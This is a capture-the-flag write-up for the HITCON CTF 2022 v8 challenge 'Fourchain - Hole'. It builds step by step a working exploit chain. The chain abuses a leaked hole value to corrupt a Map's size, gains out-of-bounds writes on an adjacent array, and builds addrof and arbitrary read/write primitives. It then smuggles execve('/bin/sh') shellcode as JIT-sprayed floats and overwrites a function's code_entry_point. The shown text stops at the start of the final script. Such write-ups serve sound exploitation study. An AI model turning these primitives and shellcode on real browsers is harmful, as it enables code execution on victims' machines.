Contents

HITCON CTF 2022

https://i.imgur.com/P0KH6Qp.png
HITCON CTF 2022
During the weekends, I spent my time working on the HITCON CTF challenge called “Fourchain - Hole”. This is my first time doing a v8 browser pwn challenge, so I would like to apologize in advance if there is any mistake in my explanations and feel free to correct me if I’m wrong.

Fourchain - Hole

1
2
3
4
5
6
7
There's a hole in the program ?

Well I'm sure it's not that of a big deal, after all it's just a small hole that won't do any damage right ?

... Right 😨 ?

Author: bruce30262

Initial Analysis

This is a v8 browser challenge. We were given a zip consisting:

  • The d8 binary. This is a v8 developer shell that can execute javascript code.
  • add_hole.patch. This is the patch for the particular challenge.
  • README.txt. This contains information about the args that the author specified during building the d8 binary, the commit hash that we should use to build it (which is 63cb7fb817e60e5633fb622baf18c59da7a0a682), and a hint that we should prepare our exploit in Debian Linux 11.5.

Prerequisite

I highly recommend you read this great article to gain some fundamentals on how v8 works. But keep in mind that the article is already outdated because v8 has changed some of their objects’ internal representation after the publication of that article.

Environment Setup

To start the challenge, we should prepare our environment first. Below is the summary of what I did to setup the environment (I followed the environment setup by Faraz’s article):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# Install depot_tools and put it in the PATH
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo "export PATH=<your_depot_tools_path>:$PATH" >> ~/.zshrc

# Prepare the needed files to build
fetch v8
cd v8
./build/install-build-deps.sh
git checkout <commit_hash>
gclient sync
git apply add_hole.patch
./tools/dev/v8gen.py x64.release

After executing the above script, there will be a file called args.gn inside the out.gn/x64.release folder. Add these lines to the file before building it to make our debugging life easier

1
2
symbol_level = 2
v8_enable_object_print = true

And then we will build it with the below command

1
2
# Build it (It took me an hour to build it, so be patient)
ninja -C ./out.gn/x64.release

Additional Step: My pwndbg doesn’t recognize the job command, which is very useful to debug the v8 shell later. After spending some quite time, turn out the solution is I need to add this LOC to my .gdbinit file: source <path_to_your_v8_folder>/tools/gdbinit

After we successfully build the d8 binary, then we are ready to start the challenge.

Analyze the patch

Let’s check the patch file.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 6e0cd408e7..aafdfb8544 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -395,6 +395,12 @@ BUILTIN(ArrayPush) {
   return *isolate->factory()->NewNumberFromUint((new_length));
 }
 
+BUILTIN(ArrayHole){
+    uint32_t len = args.length();
+    if(len > 1) return ReadOnlyRoots(isolate).undefined_value();
+    return ReadOnlyRoots(isolate).the_hole_value();
+}
+
 namespace {
 
 V8_WARN_UNUSED_RESULT Object GenericArrayPop(Isolate* isolate,
diff --git a/src/builtins/builtins-collections-gen.cc b/src/builtins/builtins-collections-gen.cc
index 78b0229011..55aaaa03df 100644
--- a/src/builtins/builtins-collections-gen.cc
+++ b/src/builtins/builtins-collections-gen.cc
@@ -1763,7 +1763,7 @@ TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
                          "Map.prototype.delete");
 
   // This check breaks a known exploitation technique. See crbug.com/1263462
-  CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
+  //CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
 
   const TNode<OrderedHashMap> table =
       LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0e98586f7f..28a46f2856 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -413,6 +413,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, kDontAdaptArgumentsSentinel)                         \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, kDontAdaptArgumentsSentinel)                      \
+  CPP(ArrayHole)                                                               \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 79bdfbddcf..c42ad4c789 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1722,6 +1722,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtin::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtin::kArrayHole:
+      return Type::Oddball();
 
     // ArrayBuffer functions.
     case Builtin::kArrayBufferIsView:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 9040e95202..a77333287a 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1800,6 +1800,7 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtin::kArrayPrototypeFindIndex, 1, false);
     SimpleInstallFunction(isolate_, proto, "lastIndexOf",
                           Builtin::kArrayPrototypeLastIndexOf, 1, false);
+    SimpleInstallFunction(isolate_, proto, "hole", Builtin::kArrayHole, 0, false);
     SimpleInstallFunction(isolate_, proto, "pop", Builtin::kArrayPrototypePop,
                           0, false);
     SimpleInstallFunction(isolate_, proto, "push", Builtin::kArrayPrototypePush,

After reading the patch, some interesting information:

  • It introduces a new function called hole in an array. If we read the BUILTIN(ArrayHole) definition, the hole function:
    • Doesn’t need any args
    • Will return a value from the_hole_value()
  • It disables a CSA_CHECK, which job is to make sure that the assigned key isn’t hole, and also it has a link to crbug.com/1263462 which contains the exploitation related to the hole value. We will visit this site soon to gain some information on what is hole value.

Searching for the hole value

I don’t have any idea what is hole and why it is dangerous. So, I decided to read through the article that was mentioned in the patch first.

After reading through the crbug article, turns out hole is a constant defined in the v8 source code. Due to special handling of the hole value in the javascript Map datatype, if we got a leak of the hole value and set it as one of the Map object keys, we can corrupt the Map length to -1, because somehow, we can call Map.delete(hole) twice, which leads to decrement the Map size by two for one key only. Below is the simple POC stated in the article:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
// Due to special handling of hole values, this ends up setting the size of the map to -1
map.delete(hole);
map.delete(hole);
map.delete(1);

// Size is now -1
//print(map.size);

Now that we know the bug introduced in the patch, we can move to the next step, which is trying to find a way to exploit this bug.

Exploitation

Now, our first plan would be to recreate the simple POC created in the article locally and try to examine the memory layout after the corruption. But before that, we should gain some knowledge first on how Map is represented.

Understanding how Map works

First, let’s prepare a js file called poc.js, which contains:

1
2
3
4
var c = [];
m = new Map();
m.set(1, 1);
m.set(c.hole(), 1);

Let’s start the d8 via gdb. Don’t forget to add --allow-natives-syntax so that we can use commands like %DebugPrint inside the d8, and --shell so that after executing our script, the interpreter will be still running, and we can continue to debug it.

1
2
3
4
5
╰─❯ gdb d8
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
...
pwndbg> run --allow-natives-syntax --shell ./poc.js

Let’s try to examine the memory layout. First, try to inspect the m object via %DebugPrint:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
V8 version 11.0.0 (candidate)
d8> %DebugPrint(m)
DebugPrint: 0x3ba20005380d: [JSMap]
 - map: 0x3ba2001862f1 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3ba200186431 <Object map = 0x3ba200186319>
 - elements: 0x3ba200002259 <FixedArray[0]> [HOLEY_ELEMENTS]
 - table: 0x3ba20005381d <OrderedHashMap[17]>
 - properties: 0x3ba200002259 <FixedArray[0]>
 - All own properties (excluding elements): {}
 ...

We can shift our focus towards the table properties which is an OrderedHashMap (I recommend you to read this article to gain a better understanding of how the OrderedHashMap works in v8). table is the one that stores the Map elements, current capacity, and buckets.

Let’s try to examine the table memory (Remember that we need to subtract the object address returned by the %DebugPrint by 1 in GDB).

1
2
3
4
5
6
7
8
9
pwndbg> x/30wx 0x3ba20005381d-1
0x3ba20005381c:	0x00002c29	0x00000022	0x00000004	0x00000000
0x3ba20005382c:	0x00000004	0x00000002	0xfffffffe	0x00000002
0x3ba20005383c:	0x00000002	0xfffffffe	0x00002459	0x00000002
0x3ba20005384c:	0x00000000	0x000023e1	0x000023e1	0x000023e1
0x3ba20005385c:	0x000023e1	0x000023e1	0x000023e1	0x000021b9
0x3ba20005386c:	0x00000008	0x00000004	0x00000000	0x00197aa7
0x3ba20005387c:	0x000023e1	0x000023e1	0x000021b9	0x00000008
0x3ba20005388c:	0x00000008	0x00000000

We can use the job commands provided by the v8 developers so that we can deduce what the raw data represents.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
pwndbg> job 0x3ba20005381d
0x3ba20005381d: [OrderedHashMap]
 - FixedArray length: 17
 - elements: 2
 - deleted: 0
 - buckets: 2
 - capacity: 4
 - buckets: {
              0: 1
              1: -1
 }
 - elements: {
              0: 1 -> 1
 }
pwndbg> job 0x3ba200002459
0x3ba200002459: [Oddball] in ReadOnlySpace: #hole

So, connecting the dots, the rough layout of some important metadata of the OrderedHashMap:

1
2
3
4
5
6
7
8
9
table + 0x10 => Map capacity (0x4)
table + 0x14 => Bucket-0 data
table + 0x18 => Bucket-1 data
table + 0x1c => Entry-0 key (0x00000002)
table + 0x20 => Entry-0 value (0x00000002)
table + 0x24 => Entry-0 next_ptr
table + 0x28 => Entry-1 key (0x00002459)
table + 0x2c => Entry-1 value (0x00000002)
table + 0x30 => Entry-1 next_ptr
Info
Integer is represented as 31-bit in v8, which is why 0x1 is represented as 0x2. Another example, -1 is represented as 0xfffffffe in the raw memory data.
Info
v8 has pointer compression method (Read this article for a better understanding). tl;dr; v8 only store lower 32-bit of a pointer in the memory, and storing the base upper 32-bit in a specific register. And every time v8 want to use it, it will do calculation like ptr = base_upper + stored_lower. This is why when we set hole as the key, the stored value is only the lower 32-bit of the hole address, which is 0x2459.
Note
job is failed to print the map elements properly because of the second element’s key is hole. In normal condition, the job command will print all the map elements correctly.

Reading through the previous article that I recommend you to read about the detailed implementation of OrderedHashMap in JS, some important key information about map:

  • Capacity is required to be a power of 2
  • Number of buckets = Capacity / 2

The corrupted map’s impact

Now, it’s time for us to try to re-create the simple POC that the crbug article gave. I recommend you to read this article because it helps me a lot to exploit the corrupted map later. Let’s change our poc.js file contents to like below:

1
2
3
4
5
6
7
var c = [];
m = new Map();
m.set(1, 1);
m.set(c.hole(), 1);
m.delete(c.hole());
m.delete(c.hole());
m.delete(1);

Let’s try to examine this in the gdb.

1
2
d8> m.size
-1

The POC is working, now we have a map where its size = -1. What is the impact? Let’s just try to check the impact by trying to set a new pair of (key, value) to the corrupted map, hoping that we can somehow trigger Out-of-Bounds write.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
d8> m.set(0x8, -1)

... # Back to gdb and examine the table properties memory.

pwndbg> x/40wx 0x2b4f0027fbfd-1
0x2b4f0027fbfc:	0x00002c29	0x00000022	0x00000000	0x00000000
0x2b4f0027fc0c:	0x00000010	0xfffffffe	0xfffffffe	0x000023e1
0x2b4f0027fc1c:	0x000023e1	0x000023e1	0x000023e1	0x000023e1
0x2b4f0027fc2c:	0x000023e1	0x000023e1	0x000023e1	0x000023e1
0x2b4f0027fc3c:	0x000023e1	0x000023e1	0x000023e1	0x000025d5
0x2b4f0027fc4c:	0x928a22d2	0x00000004	0x29386428	0x000025d5
0x2b4f0027fc5c:	0x71bade4e	0x00000006	0x69732e6d	0x0027657a
0x2b4f0027fc6c:	0x00002231	0x00000004	0xe3e5e7e0	0x0027fc49
0x2b4f0027fc7c:	0x00003039	0x00000004	0xb859fc74	0x0019a803
0x2b4f0027fc8c:	0x000022c9	0x000006e8	0x0cebf631	0x31d00148

Notice that table+0x10 value, which is the map’s capacity got overwritten with our set key (0x10 is the 0x8 integer representation in JS). Let’s verify this with the job command.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
pwndbg> job 0x2b4f0027fbfd
0x2b4f0027fbfd: [OrderedHashMap]
 - FixedArray length: 17
 - elements: 0
 - deleted: 0
 - buckets: 8
 - capacity: 16
 - buckets: {
              0: -1
              1: -1
              2: 0x2b4f000023e1 <undefined>
              3: 0x2b4f000023e1 <undefined>
              4: 0x2b4f000023e1 <undefined>
              5: 0x2b4f000023e1 <undefined>
              6: 0x2b4f000023e1 <undefined>
              7: 0x2b4f000023e1 <undefined>
 }
 - elements: {
 }

Voila, we have successfully overwritten the map’s capacity, and because of that, the buckets got extended, and the elements’ location will be shifted as well.

That means, by corrupting the map size to -1, due to the corrupted capacity value after the first map.set call (after the size is -1), when the map.set method got called for the second time, it will store the map entry (key, value, next_ptr) in the outside of the map (OOB write to the objects below the map object).

Let’s try to prove it by modifying our poc.js file to:

1
2
3
4
5
6
7
8
var c = [];
m = new Map();
m.set(1, 1);
m.set(c.hole(), 1);
m.delete(c.hole());
m.delete(c.hole());
m.delete(1);
oob_arr = new Array(1.1, 2.2);

Below is the oob_arr address retrieved from the %DebugPrint:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
d8> %DebugPrint(m)
DebugPrint: 0x1d9d0028756d: [JSMap]
- map: 0x1d9d001862f1 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1d9d00186431 <Object map = 0x1d9d00186319>
- elements: 0x1d9d00002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- table: 0x1d9d0028764d <OrderedHashMap[17]>
- properties: 0x1d9d00002259 <FixedArray[0]>
- All own properties (excluding elements): {}

...

d8> %DebugPrint(oob_arr)
DebugPrint: 0x1d9d00287699: [JSArray]
- map: 0x1d9d0018e6bd <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x1d9d0018e11d <JSArray[0]>
- elements: 0x1d9d002876b1 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x1d9d00002259 <FixedArray[0]>
- All own properties (excluding elements): {
   0x1d9d00006551: [String] in ReadOnlySpace: #length: 0x1d9d00144255 <AccessorInfo name= 0x1d9d00006551 <String[6]: #length>, data= 0x1d9d000023e1 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x1d9d002876b1 <FixedDoubleArray[2]> {
          0: 1.1
          1: 2.2
}
...

Let’s examine it in gdb:

1
2
3
4
5
6
7
8
9
pwndbg> x/30wx 0x1d9d0028764d-1
0x1d9d0028764c:	0x00002c29	0x00000022	0xfffffffe	0x00000000
0x1d9d0028765c:	0x00000004	0xfffffffe	0xfffffffe	0x000023e1
0x1d9d0028766c:	0x000023e1	0x000023e1	0x000023e1	0x000023e1
0x1d9d0028767c:	0x000023e1	0x000023e1	0x000023e1	0x000023e1
0x1d9d0028768c:	0x000023e1	0x000023e1	0x000023e1	0x0018e6bd
0x1d9d0028769c:	0x00002259	0x002876b1	0x00000004	0x00007779
0x1d9d002876ac:	0x0019a879	0x00002ac1	0x00000004	0x9999999a
0x1d9d002876bc:	0x3ff19999	0x9999999a

Notice that:

  • oob_arr is placed next to the table object (oob_arr = table+0x4c = 0x1d9d0028764c+0x4c = 0x1d9d00287698).
  • oob_arr elements pointer is stored in oob_arr+0x8 = table+0x54.
  • oob_arr length is stored in oob_arr + 0xc = table+0x58.

Now, what happens if we corrupt the map capacity by calling m.set(0x10, -1)?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
d8> m.set(0x10, -1)

... # Back to GDB

pwndbg> x/30wx 0x1d9d0028764d-1
0x1d9d0028764c:	0x00002c29	0x00000022	0x00000000	0x00000000
0x1d9d0028765c:	0x00000020	0xfffffffe	0xfffffffe	0x000023e1
0x1d9d0028766c:	0x000023e1	0x000023e1	0x000023e1	0x000023e1
0x1d9d0028767c:	0x000023e1	0x000023e1	0x000023e1	0x000023e1
0x1d9d0028768c:	0x000023e1	0x000023e1	0x000023e1	0x0018e6bd
0x1d9d0028769c:	0x00002259	0x002876b1	0x00000004	0x00007779
0x1d9d002876ac:	0x0019a879	0x00002ac1	0x00000004	0x9999999a
0x1d9d002876bc:	0x3ff19999	0x9999999a
pwndbg> job 0x1d9d0028764d
0x1d9d0028764d: [OrderedHashMap]
 - FixedArray length: 17
 - elements: 0
 - deleted: 0
 - buckets: 16
 - capacity: 32
 - buckets: {
              0: -1
              1: -1
              2: 0x1d9d000023e1 <undefined>
              3: 0x1d9d000023e1 <undefined>
              4: 0x1d9d000023e1 <undefined>
              5: 0x1d9d000023e1 <undefined>
              6: 0x1d9d000023e1 <undefined>
              7: 0x1d9d000023e1 <undefined>
              8: 0x1d9d000023e1 <undefined>
              9: 0x1d9d000023e1 <undefined>
             10: 0x1d9d000023e1 <undefined>
             11: 0x1d9d000023e1 <undefined>
             12: 0x1d9d000023e1 <undefined>
             13: 0x1d9d000023e1 <undefined>
             14: 0x1d9d0018e6bd <Map[16](PACKED_DOUBLE_ELEMENTS)>
             15: 0x1d9d00002259 <FixedArray[0]>
 }
 - elements: {
 }

The impact is map’s capacity is overwritten to 32, which means the buckets got extended from 2 to 16. The elements pointer is shifted, by (16-2)*0x4 = 0x38 due to the extension of the buckets. So previously, the first element of the map’s key was stored in table+0x1c, now it will be stored in table+0x54. The first element’s value was stored in table+0x20 previously, now after the corruption, it will be stored in table+0x58.

Remember that table+0x54 is the oob_arr elements stored pointer, and table+0x58 is the oob_arr length. So, after the corruption, if we call map.set for the third time, it will overwrite the oob_arr elements pointer and length. And with further techniques, we will be able to use the corrupted oob_arr as our read-and-write primitives.

Let’s validate this by trying to do the third call of map.set.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
d8> m.set(oob_arr, 0xffff);
d8> oob_arr.length
65535

... # Back to gdb

pwndbg> x/30wx 0x1d9d0028764d-1+0x4c
0x1d9d00287698:	0x0018e6bd	0x0016a2e8	0x00287699	0x0001fffe
0x1d9d002876a8:	0x000023e1	0x0019a879	0x00002ac1	0x00000004
0x1d9d002876b8:	0x9999999a	0x3ff19999	0x9999999a	0x40019999
0x1d9d002876c8:	0x000025d5	0x3ec011c6	0x00000004	0x29386428
0x1d9d002876d8:	0x000025d5	0x8f31397e	0x00000014	0x62654425
0x1d9d002876e8:	0x72506775	0x28746e69	0x5f626f6f	0x29727261
0x1d9d002876f8:	0x00002231	0x00000004	0xe3e5e7e0	0x002876c9
0x1d9d00287708:	0x00003039	0x00000004

As you can see, the oob_arr length is now 65535, and the elements are pointing to itself (0x00287699 is the lower 32-bit of oob_arr itself). For the last validation check, let’s try to access some of the oob_arr elements

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
d8> oob_arr[0]
2.78129989631982e-309
d8> oob_arr[1]
3.5681974603905814e-308
d8> oob_arr[2]
8.4879885714e-314
d8> oob_arr[3]
1.1
d8> oob_arr[4]
2.2

That’s the correct behavior. Because we overwrote the oob_arr elements pointer to point to itself, the oob_arr[0] will return the value of elements_ptr+0x8, which is now equivalent to oob_arr+0x8.

Now that we can trigger OOB read-and-write, let’s move to the next step

Preparing primitives

Now that we have an array that can do OOB read and write, to control the RIP, we need to be able to perform:

  • addrof: Get the address of an object.
  • read : Read the value of the given address.
  • write : Write a value to the given address.

Creating helpers

To make our life easier, we need to define some helpers to easily convert from floating point to hex and vice-versa (Notice that everytime we access oob_arr elements, the returned value is in form of floating-point). Helpers are taken from Faraz’s blog.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

Creating addrof

Let’s start by creating the easiest method, which is addrof. The trick is simple (inspired from this article):

  • Create a new variable called victim, which is an array of empty objects.
  • Assign the targeted object to one of the elements of the victim’s array.
    • After this, now the assigned victim’s element will store a pointer to the address of the targeted object (lower 32-bit only).
  • Using OOB read from the oob_arr, read the victim’s elements’ stored value (which is the targeted object address).

Modify the poc.js to:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
... // Helpers is put at the top of these LOCs
var c = [];
m = new Map();
m.set(1, 1);
m.set(c.hole(), 1);
m.delete(c.hole());
m.delete(c.hole());
m.delete(1);
oob_arr = new Array(1.1, 2.2);
victim = [{}, {}, {}, {}];
function addrof(in_obj) {
    mask = (1n << 32n) - 1n
    victim[0] = in_obj;
    return ftoi(oob_arr[12]) & mask;
}

Notes:

  • Remember that v8 only store the lower 32-bit of the object address, while oob_arr value is a 64-bit floating point, so the addrof method will need to be masked so that it will return only the lower 32-bits.
  • Sometimes, the correct offset for the oob_arr is changing during development. You need to examine it in the gdb properly so that oob_arr[chosen_offset] will return the targeted object address stored inside the victim[0]

Creating Read

After having addrof method, we need to be able to read the given address value. I decided to create a read method where:

  • It can only read addresses relative to the stored js_base, so it can’t read the value outside the js heap.
  • Send only the lower 32-bit of your targeted address (must be inside the js heap).
  • It will return a 64-bit floating point value of the resolved address’s value.

The trick that I used:

  • Create an array called read_gadget which consists of floating-point values.
  • With OOB write from the oob_arr, overwrite the read_gadget elements pointer so that it points to target_addr-0x8. Why -0x8, because the first element of the array is stored in elements+0x8, so by setting the elements to point to target_addr-0x8, accessing read_gadget[0] will point to the target_addr value.
  • Return it

Modify the poc.js to:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
... // Helpers is put at the top of these LOCs
var c = [];
m = new Map();
m.set(1, 1);
m.set(c.hole(), 1);
m.delete(c.hole());
m.delete(c.hole());
m.delete(1);
oob_arr = new Array(1.1, 2.2);
read_gadget = [1.1, 2.2, 3.3];
function addrof(in_obj) {
    mask = (1n << 32n) - 1n
    victim[0] = in_obj;
    return ftoi(oob_arr[12]) & mask;
}
function weak_read(addr) {
    oob_arr[37] = itof(0x600000000n+addr-0x8n);
    return ftoi(read_gadget[0]);
}

Notes:

  • The correct offset of oob_arr which points to the properties of read_gadget elements might be changed during the development of our exploit. Always double-check it in gdb
  • Because oob_arr is overwriting the whole 64-bit of the given address, we need to overwrite the read_gadget length as well, which is why I add the targeted address with 0x600000000 as the 32 upper-bit value.

Creating Write

Now that we have read, it’s time to create the write. How to do it? Very simple. Same as weak_read method, but instead of returning the read_gadget[0] value, we assign the read_gadget[0] value with our desired value. Notes that the assignment’s value will overwrite the whole 64-bit of the given address.

Modify the poc.js to:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
... // Helpers is put at the top of these LOCs
var c = [];
m = new Map();
m.set(1, 1);
m.set(c.hole(), 1);
m.delete(c.hole());
m.delete(c.hole());
m.delete(1);
oob_arr = new Array(1.1, 2.2);
read_gadget = [1.1, 2.2, 3.3];
function addrof(in_obj) {
    mask = (1n << 32n) - 1n
    victim[0] = in_obj;
    return ftoi(oob_arr[12]) & mask;
}
function weak_read(addr) {
    oob_arr[37] = itof(0x600000000n+addr-0x8n);
    return ftoi(read_gadget[0]);
}
function weak_write(addr, value) {
    oob_arr[37] = itof(0x600000000n+addr-0x8n);
    read_gadget[0] = itof(value);
}

Finding a way to control the RIP

Now that we have all the primitives that we need, we will move to our last step, which is controlling the RIP. After reading some articles, I find this article very helpful for me.

Reading through the article, we actually can smuggle shellcode via JIT Spraying attack. To smuggle it, what we can do is translate our shellcode to a floating-point number, so that our floating-point number hex is stored as it is in the Jitted function area.

For example, consider this code (taken from the article that I mentioned above).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
const foo = ()=>
{
    return [1.0,
        1.95538254221075331056310651818E-246,
        1.95606125582421466942709801013E-246,
        1.99957147195425773436923756715E-246,
        1.95337673326740932133292175341E-246,
        2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {foo();foo();foo();foo();}

The floating-point defined in the javascript is actually the smuggled shellcode which will do sys_execve('/bin/sh'). Because the function is called so many times, v8 will JIT the code.

Let’s try to examine what happen when the method foo got jitted by v8 with the help of %DebugPrint and job after executing the above code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
d8> %DebugPrint(foo)
DebugPrint: 0x1d9d002ca78d: [Function] in OldSpace
 - map: 0x1d9d00184241 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x1d9d001840f5 <JSFunction (sfi = 0x1d9d00145dfd)>
 - elements: 0x1d9d00002259 <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x1d9d0019a025 <SharedFunctionInfo foo>
 - name: 0x1d9d00199ea5 <String[3]: #foo>
 - formal_parameter_count: 0
 - kind: ArrowFunction
 - context: 0x1d9d0019a2a1 <ScriptContext[3]>
 - code: 0x1d9d0019a79d <CodeDataContainer TURBOFAN>

 ... # Back to GDB

pwndbg> x/20wx 0x1d9d002ca78d-1
0x1d9d002ca78c:	0x00184241	0x00002259	0x00002259	0x0019a025
0x1d9d002ca79c:	0x0019a2a1	0x0019a271	0x0019a79d	0x000025d5
0x1d9d002ca7ac:	0x00000003	0x00000006	0x626f6c67	0x00006c61
0x1d9d002ca7bc:	0x000025d5	0x00000003	0x00000006	0x6b726f57
0x1d9d002ca7cc:	0x00007265	0x000025d5	0x00000003	0x00000005

Notice that there is a property called code inside the foo method, where based on examination in gdb, the offset is code = foo+0x18.

Let’s examine the code property in gdb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pwndbg> x/20wx 0x1d9d0019a79d-1
0x1d9d0019a79c:	0x00002a71	0x000023e1	0xc0004781	0xc00047c0
0x1d9d0019a7ac:	0x00005554	0xffff001d	0x00000004	0x000079f9
0x1d9d0019a7bc:	0x000023e1	0x00000000	0x00000000	0x00000002
0x1d9d0019a7cc:	0x00000002	0x000023e1	0x000079f9	0x000023e1
0x1d9d0019a7dc:	0x002875c9	0x000023e1	0x00000002	0x00000002
pwndbg> job 0x1d9d0019a79d
0x1d9d0019a79d: [CodeDataContainer] in OldSpace
 - map: 0x1d9d00002a71 <Map[28](CODE_DATA_CONTAINER_TYPE)>
 - kind: TURBOFAN
 - is_off_heap_trampoline: 0
 - code: 0x5554c0004781 <Code TURBOFAN>
 - code_entry_point: 0x5554c00047c0
 - kind_specific_flags: 4

pwndbg> job 0x5554c0004781
0x5554c0004781: [Code]
 - map: 0x1d9d0000264d <Map(CODE_TYPE)>
 - code_data_container: 0x1d9d0019a79d <CodeDataContainer TURBOFAN>
kind = TURBOFAN
stack_slots = 6
compiler = turbofan
address = 0x5554c0004781

Instructions (size = 360)
0x5554c00047c0     0  8b59d0               movl rbx,[rcx-0x30]
0x5554c00047c3     3  4903de               REX.W addq rbx,r14
...
0x5554c0004831    71  49ba682f73680058eb0c REX.W movq r10,0xceb580068732f68
0x5554c000483b    7b  c4c1f96ec2           vmovq xmm0,r10
0x5554c0004840    80  c5fb11410f           vmovsd [rcx+0xf],xmm0
0x5554c0004845    85  49ba682f62696e5aeb0c REX.W movq r10,0xceb5a6e69622f68
0x5554c000484f    8f  c4c1f96ec2           vmovq xmm0,r10
0x5554c0004854    94  c5fb114117           vmovsd [rcx+0x17],xmm0
0x5554c0004859    99  49ba48c1e02031f6eb0c REX.W movq r10,0xcebf63120e0c148
0x5554c0004863    a3  c4c1f96ec2           vmovq xmm0,r10
0x5554c0004868    a8  c5fb11411f           vmovsd [rcx+0x1f],xmm0
0x5554c000486d    ad  49ba4801d031d250eb0c REX.W movq r10,0xceb50d231d00148
0x5554c0004877    b7  c4c1f96ec2           vmovq xmm0,r10
0x5554c000487c    bc  c5fb114127           vmovsd [rcx+0x27],xmm0
0x5554c0004881    c1  49ba4889e76a3b580f05 REX.W movq r10,0x50f583b6ae78948

Inside code property, we have two interesting properties:

  • code: Points to the jitted code area. (code+0x8)
  • code_entry_point: Points to the starting of the jitted code instructions. (code + 0xc)

As you can see from the examination via job, the foo->code->code properties is filled with the address of the jitted code area. Also notice that in the generated instructions, we successfully smuggled our floating point in there.

Notice that 0xceb580068732f68 is actually the hex representation of our first floating point in foo method (1.95538254221075331056310651818E-246). And it is actually a shellcode to perform push 'sh\x00' to stack.

1
2
3
   0:   68 2f 73 68 00          push   0x68732f
   5:   58                      pop    rax
   6:   eb 0c                   jmp    0x14

If you notice, our shellcode instruction max length is 6 because the last two bytes will be used to jump to the next smuggled shellcode (the next floating point value, which is stored in the next mov instructions).

Remember that we have read and write gadgets. Take a look in the foo->code properties again. code_entry_point will be used by v8 during we call foo, where v8 will jump to the stored address inside code_entry_point. If we’re able to overwrite this value, basically we have successfully controlled the v8 RIP.

Final Step

With our write gadget, let’s overwrite this code_entry_point by shifting its stored value to point to our first smuggled shellcode so that when we call foo, it will jump and execute our crafted shellcode. Notes that it is better to put the targeted JIT code at the top of our file so that it won’t mess up our created read-and-write gadgets.

So, modify our poc.js to:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
const foo = ()=>
{
    return [1.0,
        1.95538254221075331056310651818E-246,
